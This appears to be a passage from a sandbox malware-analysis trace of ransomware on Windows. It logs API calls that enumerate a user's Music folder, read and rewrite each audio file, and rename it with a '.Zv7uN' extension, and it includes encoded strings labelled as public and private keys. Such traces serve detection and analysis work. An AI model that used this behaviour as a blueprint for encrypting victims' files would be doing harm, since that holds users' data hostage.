lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.829] GetCurrentThreadId () returned 0xa30 [0085.829] GetCurrentThreadId () returned 0xa30 [0085.829] GetCurrentThreadId () returned 0xa30 [0085.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zspe9.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.829] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.829] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.829] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x12991 [0085.830] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.830] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x12991, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x12991, lpOverlapped=0x0) returned 1 [0085.833] CloseHandle (hObject=0x124) returned 1 [0085.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zspe9.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.838] WriteFile (in: hFile=0x124, lpBuffer=0x1f04040*, nNumberOfBytesToWrite=0x12991, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f04040*, lpNumberOfBytesWritten=0x18f978*=0x12991, lpOverlapped=0x0) returned 1 [0085.842] CloseHandle (hObject=0x124) returned 1 [0085.849] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zspe9.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Zspe9.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\zspe9.m4a.zv7un")) returned 1 [0085.849] GetCurrentThreadId () returned 0xa30 [0085.849] GetCurrentThreadId () returned 0xa30 [0085.849] GetCurrentThreadId () returned 0xa30 [0085.849] GetCurrentThreadId () returned 0xa30 [0085.849] GetCurrentThreadId () returned 0xa30 [0085.850] GetCurrentThreadId () returned 0xa30 [0085.850] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a841b80, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x68c22160, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x68c22160, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0x12991, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="Zspe9.m4a", cAlternateFileName="")) returned 0 [0085.850] GetLastError () returned 0x12 [0085.850] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0085.850] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x511532e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x511532e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0085.850] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0085.850] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.850] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x511532e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x511532e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0085.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.851] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22515da0, ftCreationTime.dwHighDateTime=0x1d5da0f, ftLastAccessTime.dwLowDateTime=0xee94a310, ftLastAccessTime.dwHighDateTime=0x1d5e476, ftLastWriteTime.dwLowDateTime=0x50ffc680, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1649a, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="2Q1cA1bTINna.wav.Zv7uN", cAlternateFileName="2Q1CA1~1.ZV7")) returned 1 [0085.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.851] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc40fa9a0, ftCreationTime.dwHighDateTime=0x1d5e5c0, ftLastAccessTime.dwLowDateTime=0xde3a74d0, ftLastAccessTime.dwHighDateTime=0x1d5d97d, ftLastWriteTime.dwLowDateTime=0x5106eaa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xad1e, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="2Q_ _Bs8shSYWml.wav.Zv7uN", cAlternateFileName="2Q__BS~1.ZV7")) returned 1 [0085.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.851] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fad1c60, ftCreationTime.dwHighDateTime=0x1d5dfd9, ftLastAccessTime.dwLowDateTime=0x66abe1e0, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0x51094c00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x911f, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="cCYg9.wav.Zv7uN", cAlternateFileName="CCYG9W~1.ZV7")) returned 1 [0085.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.851] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.851] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef660f80, ftCreationTime.dwHighDateTime=0x1d5e779, ftLastAccessTime.dwLowDateTime=0x64043220, ftLastAccessTime.dwHighDateTime=0x1d5db79, ftLastWriteTime.dwLowDateTime=0x510bad60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x135f8, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="gzqltNzvsbx7WwV5opFx.m4a.Zv7uN", cAlternateFileName="GZQLTN~1.ZV7")) returned 1 [0085.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.851] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1864ead0, ftCreationTime.dwHighDateTime=0x1d5e704, ftLastAccessTime.dwLowDateTime=0xcc323dc0, ftLastAccessTime.dwHighDateTime=0x1d5e604, ftLastWriteTime.dwLowDateTime=0x510e0ec0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8a79, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="NoHfM0yp-zG8Qrlkv.m4a.Zv7uN", cAlternateFileName="NOHFM0~1.ZV7")) returned 1 [0085.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.852] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c8fda0, ftCreationTime.dwHighDateTime=0x1d5dc5f, ftLastAccessTime.dwLowDateTime=0xde8ae8d0, ftLastAccessTime.dwHighDateTime=0x1d5df9e, ftLastWriteTime.dwLowDateTime=0x5112d180, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5fe0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="rWdr_n-a5RwIRREA.mp3.Zv7uN", cAlternateFileName="RWDR_N~1.ZV7")) returned 1 [0086.066] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.066] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.066] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f58310, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0xa15db610, ftLastAccessTime.dwHighDateTime=0x1d5d7ea, ftLastWriteTime.dwLowDateTime=0xa15db610, ftLastWriteTime.dwHighDateTime=0x1d5d7ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="tz0VN5KTRkT", cAlternateFileName="TZ0VN5~1")) returned 1 [0086.066] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.084] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.084] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f58310, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0xa15db610, ftLastAccessTime.dwHighDateTime=0x1d5d7ea, ftLastWriteTime.dwLowDateTime=0xa15db610, ftLastWriteTime.dwHighDateTime=0x1d5d7ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0086.084] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f58310, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0xa15db610, ftLastAccessTime.dwHighDateTime=0x1d5d7ea, ftLastWriteTime.dwLowDateTime=0xa15db610, ftLastWriteTime.dwHighDateTime=0x1d5d7ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.084] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89dac430, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0x8680a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e0bf, ftLastWriteTime.dwLowDateTime=0x8680a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e0bf, nFileSizeHigh=0x0, nFileSizeLow=0x11518, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="8Pfc9PySy8GgPZR8y43.mp3", cAlternateFileName="8PFC9P~1.MP3")) returned 1 [0086.084] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0086.084] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\8pfc9pysy8ggpzr8y43.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89dac430, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0x8680a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e0bf, ftLastWriteTime.dwLowDateTime=0x8680a1d0, ftLastWriteTime.dwHighDateTime=0x1d5e0bf, nFileSizeHigh=0x0, nFileSizeLow=0x11518)) returned 1 [0086.084] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\8pfc9pysy8ggpzr8y43.mp3")) returned 0x20 [0086.085] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3", dwFileAttributes=0x80) returned 1 [0086.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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